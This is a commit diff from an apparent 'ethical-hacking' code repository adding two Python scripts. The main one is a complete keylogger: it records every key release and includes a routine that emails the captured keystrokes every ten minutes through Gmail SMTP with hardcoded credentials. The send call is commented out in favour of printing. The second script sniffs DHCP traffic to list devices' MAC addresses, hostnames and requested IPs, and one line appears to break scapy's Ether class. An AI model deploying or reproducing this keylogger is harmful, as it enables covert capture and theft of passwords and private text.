added keylogger

Author: x4nth055

ethical-hacking/keylogger/keylogger.py

@@ -0,0 +1,84 @@
+importkeyboard# for keylogs
+importsmtplib# for sending email using SMTP protocol (gmail)
+# Semaphore is for blocking the current thread
+# Timer is to make a method runs after an `interval` amount of time
+fromthreadingimportSemaphore, Timer
+
+SEND_REPORT_EVERY=600# 10 minutes
+EMAIL_ADDRESS="[email protected]"
+EMAIL_PASSWORD="thepythoncodeokok123"
+
+classKeylogger:
+def__init__(self, interval):
+# we gonna pass SEND_REPORT_EVERY to interval
+self.interval=interval
+# this is the string variable that contains the log of all 
+# the keystrokes within `self.interval`
+self.log=""
+# for blocking after setting the on_release listener
+self.semaphore=Semaphore(0)
+
+defcallback(self, event):
+"""
+ This callback is invoked whenever a keyboard event is occured
+ (i.e when a key is released in this example)
+ """
+name=event.name
+iflen(name) >1:
+# not a character, special key (e.g ctrl, alt, etc.)
+# uppercase with []
+ifname=="space":
+# " " instead of "space"
+name=" "
+elifname=="enter":
+# add a new line whenever an ENTER is pressed
+name="[ENTER]\n"
+elifname=="decimal":
+name="."
+else:
+# replace spaces with underscores
+name=name.replace(" ", "_")
+name=f"[{name.upper()}]"
+
+self.log+=name
+
+defsendmail(self, email, password, message):
+# manages a connection to an SMTP server
+server=smtplib.SMTP(host="smtp.gmail.com", port=587)
+# connect to the SMTP server as TLS mode ( for security )
+server.starttls()
+# login to the email account
+server.login(email, password)
+# send the actual message
+server.sendmail(email, email, message)
+# terminates the session
+server.quit()
+
+defreport(self):
+"""
+ This function gets called every `self.interval`
+ It basically sends keylogs and resets `self.log` variable
+ """
+ifself.log:
+# if there is something in log, report it
+# self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
+print(self.log)
+self.log=""
+Timer(interval=self.interval, function=self.report).start()
+
+defstart(self):
+# start the keylogger
+keyboard.on_release(callback=self.callback)
+# start reporting the keylogs
+self.report()
+# block the current thread,
+# since on_release() doesn't block the current thread
+# if we don't block it, when we execute the program, nothing will happen
+# that is because on_release() will start the listener in a separate thread
+self.semaphore.acquire()
+
+
+
+if__name__=="__main__":
+keylogger=Keylogger(interval=SEND_REPORT_EVERY)
+keylogger.start()

scapy/dhcp_listener/dhcp_listener.py

@@ -0,0 +1,53 @@
+fromscapy.allimport*
+fromscapy.layers.dhcpimportDHCP
+importtime
+#
+#
+#
+#
+#
+#
+#
+#
+#
+#
+#
+#
+#
+#
+#
+
+hosts= []
+Ether=1
+
+
+deflisten_dhcp():
+globalk
+# Make sure it is DHCP with the filter options
+k=sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
+
+defprint_packet(packet):
+target_mac, requested_ip, hostname, vendor_id= [None] *4
+ifpacket.haslayer(Ether):
+target_mac=packet.getlayer(Ether).src
+dhcp_options=packet[DHCP].options
+foritemindhcp_options:
+try:
+label, value=item
+exceptValueError:
+continue
+iflabel=='requested_addr':
+requested_ip=value
+eliflabel=='hostname':
+hostname=value.decode()
+eliflabel=='vendor_class_id':
+vendor_id=value.decode()
+iftarget_macandvendor_idandhostnameandrequested_ipandtarget_macnotinhosts:
+hosts.append(target_mac)
+time_now=time.strftime("[%Y-%m-%d - %H:%M:%S] ")
+print("{}:{} -{} /{} requested{}".format(time_now, target_mac, hostname, vendor_id, requested_ip))
+
+
+if__name__=="__main__":
+listen_dhcp()
+